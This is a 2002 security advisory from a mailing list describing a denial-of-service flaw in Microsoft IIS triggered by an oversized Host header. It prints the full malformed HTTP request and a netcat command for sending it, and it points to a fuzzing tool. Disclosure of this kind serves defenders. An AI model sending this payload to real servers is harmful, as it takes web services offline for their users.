[NT] Malformed HOST Header Causes IIS DoS

From: support@securiteam.com
Date: 10/15/02 

From: support@securiteam.com
To: list@securiteam.com
Date: 15 Oct 2002 04:19:43 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Malformed HOST Header Causes IIS DoS
------------------------------------------------------------------------

SUMMARY

A security vulnerability in IIS's web server allows remote attackers to
cause the web server to crash, this is done by providing it with a long
Host field filled with the character "/".

DETAILS

Exploit:
By either doinging it manually:

-------------------------[begin]--------------------------------------
POST /_vti_bin/shtml.dll HTTP/1.0
Host: [32762 '/' characters]
Content-length: 22

http://www.rapid7.com/
- --------------------------[end]---------------------------------------

This will cause the web service to consume 99% of the CPU for about 35
seconds. During this time, no other HTTP requests will be serviced. Use
it with:
$ nc x.x.x.x 80 < iis_dos

Or by using SPIKE:
See <http://www.immunitysec.com/spike.html>
http://www.immunitysec.com/spike.html for more details.

ADDITIONAL INFORMATION

The information has been provided by <mailto:Joe_Testa@rapid7.com> Joe
Testa and <mailto:dave@immunitysec.com> Dave Aitel (finder of the
problem).

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